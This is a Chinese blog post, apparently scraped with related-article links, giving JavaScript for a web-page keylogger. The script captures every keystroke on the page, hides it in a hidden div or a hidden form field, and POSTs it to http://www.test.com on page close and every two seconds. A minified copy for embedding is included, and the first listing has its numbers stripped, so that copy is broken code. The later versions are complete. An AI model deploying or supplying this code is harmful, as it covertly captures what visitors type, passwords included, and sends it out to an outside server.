JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去
最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="JS按键记录">
<META NAME="Description" CONTENT="JS 按键 记录">
</HEAD>
<BODY> <script type="text/javascript">
var keystring = "";//记录按键的字符串
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=,CapsLock=,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=&&currKey<=;
switch(currKey)
{
//屏蔽了退格、制表、回车、空格、方向键、删除键，因为keypress只能针对一些可以打印出来的字符有效，而对于功能按键，如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等，就不会产生keypress事件，但是可以产生keydown和keyup事件。然而在FireFox中，功能按键是可以产生keypress事件的。
case : case :case :case :case :case :case :case :case :keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>&&currKey<)||(currKey>&&currKey<))
{
switch(currKey)
{
case : keyName = "[退格]"; break;
case : keyName = "[制表]"; break;
case :keyName = "[回车]"; break;
case :keyName = "[空格]"; break;
case :keyName = "[PageUp]"; break;
case :keyName = "[PageDown]"; break;
case :keyName = "[End]"; break;
case :keyName = "[Home]"; break;
case :keyName = "[方向键左]"; break;
case :keyName = "[方向键上]"; break;
case :keyName = "[方向键右]"; break;
case :keyName = "[方向键下]"; break;
case :keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState== && xmlhttp.status==)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
<!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
xmlhttp.send("keystring="+keystring);
} <!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
<!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} --> window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
-------------更新----------------------
onbeforeunload只能判断页面关闭，但又找不到能判断页面跳转的函数，于是想出了每隔两秒post键击的方法如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Author" CONTENT="Larry">
</HEAD>
<BODY onload="timedCount()">
<script type="text/javascript">
var c=0
var t
function timedCount()
{
c=c+1
t=setTimeout("keepPosting()",2000)
} function keepPosting()
{
loadXMLDoc();
timedCount();
}
</script> <script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("keystring="+keystring);
} window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
参考：js计时：http://www.w3school.com.cn/js/js_timing.asp
js：unload ：http://www.w3school.com.cn/jsref/event_onload.asp
-----------2015年1月26日更新 利用form中的 input type = hidden实现在点击提交的同时提交按键记录----------------
<script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("kks").value=keystring;
}
function keyup(e)
{
$("kks").value=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup;
</script>
<br/><div id="content" style="display:none;" ></div>
然后在form里面加入：
<input type="hidden" id="kks" name="kks2222" value="">
-------------补充----------------------
可采用http://bbs.css-js.cn/的UglifyJS压缩代码去掉换行符。
注意压缩时候不要把Script标签带进去不然会失败。
压缩后：
<BODY onload="timedCount()"><script type="text/javascript">function timedCount(){c+=1,t=setTimeout("keepPosting()",2e3)}function keepPosting(){loadXMLDoc(),timedCount()}function $(a){return document.getElementById(a)?document.getElementById(a):a}function keypress(a){var b=0,c=0,a=a||event;switch(b=a.keyCode||a.which||a.charCode,c=b>=65&&90>=b,b){case 8:case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName="";break;default:keyName=String.fromCharCode(b)}keystring+=keyName}function keydown(a){var b;if(a=a||event,b=a.keyCode||a.which||a.charCode,b>7&&14>b||b>31&&47>b){switch(b){case 8:keyName="[退格]";break;case 9:keyName="[制表]";break;case 13:keyName="[回车]";break;case 32:keyName="[空格]";break;case 33:keyName="[PageUp]";break;case 34:keyName="[PageDown]";break;case 35:keyName="[End]";break;case 36:keyName="[Home]";break;case 37:keyName="[方向键左]";break;case 38:keyName="[方向键上]";break;case 39:keyName="[方向键右]";break;case 40:keyName="[方向键下]";break;case 46:keyName="[删除]";break;default:keyName=""}keystring+=keyName}$("content").innerHTML=keystring}function keyup(){$("content").innerHTML=keystring}function loadXMLDoc(){var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),a.onreadystatechange=function(){4==a.readyState&&200==a.status&&(document.getElementById("myDiv").innerHTML=a.responseText)},a.open("POST","http://www.test.com",!0),a.setRequestHeader("Content-type","application/x-www-form-urlencoded"),a.send("keystring="+keystring)}var t,c=0,keystring="";document.onkeypress=keypress,document.onkeydown=keydown,document.onkeyup=keyup,window.onbeforeunload=function(){loadXMLDoc()};</script><br/><div id="content" style="display:none;" ></div>
JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去的更多相关文章
- JavaScript 获取按键，并屏蔽系统 Window 事件
// JavaScript 获取按键,并屏蔽系统 Window 事件 window.document.onkeydown = onkeydown; function onkeydown(event) ...
- 利用Crowbar抓取网页异步加载的内容 [Python俱乐部]
利用Crowbar抓取网页异步加载的内容 [Python俱乐部] 利用Crowbar抓取网页异步加载的内容 在做 Web 信息提取.数据挖掘的过程中,一个关键步骤就是网页源代码的获取.但是出于各种原因 ...
- 【记录】尝试用android-logging-log4j去实现log输出内容到sd卡中的文件的功能
[背景] 折腾: [记录]给Android中添加log日志输出到文件 期间,已经试了: [记录]尝试用android中microlog4android实现log输出到文件的功能 但是不好用. 然后就是 ...
- 使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录
使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录 C#进阶系列——WebApi 异常处理解决方案 [ASP.NET Web API教程]4.3 AS ...
- 初探oracle删除重复记录，只保留rowid最小的记录
如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种方法,如下只是介绍了两种方法(exist和in两种). 1.首 ...
- ON DUPLICATE KEY UPDATE 当记录不存在时插入，当记录存在时更新
MySQL 当记录不存在时插入,当记录存在时更新网上基本有三种解决方法.第一种:示例一:插入多条记录假设有一个主键为 client_id 的 clients 表,可以使用下面的语句:INSERTINT ...
- SQL 从100万条记录中的到 成绩最高的记录
从100万条记录中的到 成绩最高的记录 问题分析:要从一张表中找到成绩最高的记录并不难,有很多种办法,最简单的就是利用TOP 1 select top 1 * from student order b ...
- oracle删除重复记录，只保留rowid最小的记录
初探oracle删除重复记录,只保留rowid最小的记录 如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种 ...
- 【转】MySQL 当记录不存在时insert，当记录存在时update
MySQL当记录不存在时insert,当记录存在时更新:网上基本有三种解决方法 第一种: 示例一:insert多条记录 假设有一个主键为 client_id 的 clients 表,可以使用下面的语句 ...
随机推荐
- openfire Android学习---android客户端聊天开发之登录 和 注销登录
一切就绪,新建一个android测试工程: 上网权限配置,界面绘制啥的,这里就不说了. 首先 导入一个smark包.这个是用来维护长连接的,也可以是asmark.我用的是asmark 先普及一些基本知 ...
- 启动eclipse时出现“Failed to load the JNI shared library jvm.dll”错误及解决-及eclipse版本查看
启动eclipse时出现“Failed to load the JNI shared library jvm.dll”错误及解决-及eclipse版本查看 学习了:https://www.cnblog ...
- 转：Json 语法 格式
转自: http://www.cnblogs.com/chencidi/archive/2011/03/24/1993450.html 评注: json 官网如下: http://json.org/j ...
- iOS 多线程技术2
iOS 多线程技术2 NSOperation NSInvocationOperation //创建一个队列 NSOperationQueue *queue = [[NSOperationQueue a ...
- PS 如何制作眼泪效果
1.用钢笔工具勾出眼泪的路径然后按Ctrl + Enter转为选区 2.按Ctrl + J 把选区复制出来,执行滤镜 > 扭曲 > 球面化 同样的方法制作流出的眼泪,然后添加图层样式选择投 ...
- flex操作XML，强力总结帖
初始化XML对象 XML对象可以代表一个XML元素.属性.注释.处理指令或文本元素.在ActionScript 3.0中我们可以直接将XML数据赋值给变量: var myXML:XML = &l ...
- 定义自己的代码风格CheckStyle简单使用
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE module PUBLIC "-/ ...
- 重温.NET下Assembly的加载过程 ASP.NET Core Web API下事件驱动型架构的实现（三）：基于RabbitMQ的事件总线
重温.NET下Assembly的加载过程 最近在工作中牵涉到了.NET下的一个古老的问题:Assembly的加载过程.虽然网上有很多文章介绍这部分内容,很多文章也是很久以前就已经出现了,但阅读之后 ...
- codeforces 570 D. Tree Requests 树状数组+dfs搜索序
链接:http://codeforces.com/problemset/problem/570/D D. Tree Requests time limit per test 2 seconds mem ...
- Android Studio 工程的 .gitignore
新建一个 Android Studio 工程时会默认建立两个 .gitignore 文件 .gitignore *.iml .gradle /local.properties /.idea/works ...